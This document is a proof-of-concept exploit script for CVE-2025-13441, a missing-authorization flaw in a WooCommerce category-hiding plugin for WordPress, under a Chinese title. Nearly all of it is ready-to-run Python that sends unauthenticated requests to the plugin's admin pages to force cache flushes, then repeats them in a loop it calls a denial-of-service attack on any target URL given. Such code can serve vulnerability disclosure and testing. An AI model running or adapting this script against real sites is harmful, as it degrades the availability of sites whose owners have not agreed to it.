CVE-2025-13441 WordPress WooCommerce插件缺少授权导致缓存刷新漏洞

import requests import sys # CVE-2025-13441 PoC - Missing Authorization leading to Cache Flush DoS # Target: WordPress site with vulnerable Hide Category by User Role for WooCommerce plugin def exploit_cache_flush(target_url): """ Exploit the missing authorization vulnerability in admin_init hook that triggers wp_cache_flush() without capability check """ # Target the admin page that triggers the vulnerable hook exploit_urls = [ f"{target_url}/wp-admin/admin.php?page=hide-category-settings", f"{target_url}/wp-admin/options-general.php?page=hide-category-settings", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } print(f"[*] Starting DoS attack on {target_url}") print(f"[*] Sending forged requests to trigger wp_cache_flush()...") for url in exploit_urls: try: # No authentication required - this is the vulnerability response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Request sent to: {url}") print(f" Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def dos_attack(target_url, requests_count=100): """ Perform repeated cache flush attacks to degrade performance """ print(f"[*] Launching DoS attack with {requests_count} requests...") for i in range(requests_count): exploit_cache_flush(target_url) if (i + 1) % 10 == 0: print(f"[*] Progress: {i + 1}/{requests_count} requests sent") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13441-poc.py <target_url>") print("Example: python cve-2025-13441-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') dos_attack(target, requests_count=100)